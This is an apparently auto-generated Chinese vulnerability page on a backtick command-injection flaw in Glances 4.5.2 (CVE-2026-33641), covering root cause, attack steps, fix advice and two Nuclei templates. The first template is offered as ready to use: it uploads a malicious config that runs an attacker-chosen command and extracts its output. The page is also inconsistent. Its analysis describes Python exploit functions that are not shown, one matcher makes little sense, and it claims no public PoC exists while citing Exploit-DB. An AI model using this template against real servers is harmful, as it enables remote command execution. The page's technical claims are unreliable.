[webapps] glances 4.5.2 - command injection

CVE-2026-33641

Glances配置解析中反引号内子串被作为系统命令执行导致命令注入

High · CVSS 7.8

📋 漏洞基础信息

CVECVE-2026-33641
漏洞类型OS命令注入(CWE-78)
受影响版本glances 4.5.2及以下版本(修复于4.5.3)
危害等级High · CVSS 7.8
发布日期2026-05-13
提交者Stepanov Daniil
来源Exploit-DB 原文 ↗

🔬 漏洞根因

在glances/config.py的Config.get_value()方法中,使用正则匹配反引号包围的子串,并通过glances/globals.py中的system_exec()函数调用subprocess.run()执行该命令,未对命令内容做任何验证或限制。

🎯 攻击场景

1. 攻击者需具有修改或影响Glances配置文件的能力(例如通过文件写入漏洞、共享配置目录写入权限等)。 2. 在配置文件的任意配置项值中插入反引号包裹的恶意命令,例如`touch /tmp/glances_pwned`。 3. 当Glances服务启动或配置重载时,Config.get_value()解析到该反引号子串,将其提取并传递给system_exec()执行。 4. 命令以Glances进程权限执行(常为root)。 5. 检查/tmp/glances_pwned文件是否存在即确认命令执行成功。

💥 漏洞影响

攻击者可利用此漏洞以Glances进程权限执行任意命令,Glances常以高权限(如系统服务、root)运行,可能导致权限提升、数据泄露、系统完全沦陷。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-33641-exploit

info:
  name: Glances 4.5.2 - Command Injection Exploit
  author: steven
  severity: high
  description: Glances versions prior to 4.5.3 are vulnerable to command injection via dynamic configuration parsing. This exploit attempts to execute arbitrary commands through the vulnerable configuration upload or modification endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33641
    - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7
  tags: cve,cve2026,glances,command-injection,rce

variables:
  cmd: "id"

http:
  - raw:
      - |
        GET /api/2/version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "{{cmd}}"

  - raw:
      - |
        POST /api/2/config/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------99868198152613534213329528222

        -----------------------------99868198152613534213329528222
        Content-Disposition: form-data; name="file"; filename="malicious.conf"
        Content-Type: text/plain

        [outputs]
        url_prefix = `{{cmd}}`
        -----------------------------99868198152613534213329528222--

    matchers:
      - type: word
        part: body
        words:
          - "{{cmd}}"
    stop-at-first-match: false
    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'uid=\d+\([^)]+\)'
          - 'gid=\d+\([^)]+\)'
          - 'groups=\d+\([^)]+\)'

🔬 深度技术分析

1. create_malicious_config():将用户指定的命令(如touch /tmp/glances_pwned)嵌入到临时配置文件的[outputs]节下url_prefix字段的反引号中。 2. exploit():使用glances -C <恶意配置文件> --timeout 2启动Glances,触发配置解析。 3. 若Glances已安装且版本未修复,命令会在解析时自动执行。 4. 通过os.path.exists()检查touch创建的文件是否存在来验证命令是否执行。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-33641-detection

info:
  name: Glances 4.5.2 - Command Injection Detection
  author: steven
  severity: high
  description: Glances versions prior to 4.5.3 are vulnerable to command injection via dynamic configuration parsing. An attacker can execute arbitrary commands by modifying configuration files containing backtick-enclosed substrings.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33641
    - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7
  tags: cve,cve2026,glances,command-injection

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/2/version"
      - "{{BaseURL}}/api/2/version/"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "4.5.0"
          - "4.5.1"
          - "4.5.2"
        condition: or
      - type: word
        part: body
        words:
          - "version"
        condition: or
    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '(\d+\.\d+\.\d+)'

🛡️ 修复建议

升级至Glances 4.5.3或更高版本,该版本已完全移除动态反引号执行功能。 临时缓解措施:限制对Glances配置文件的写入权限,仅允许受信任用户修改;避免以root权限运行Glances;使用SELinux或AppArmor限制Glances进程能力。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-18 22:03 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)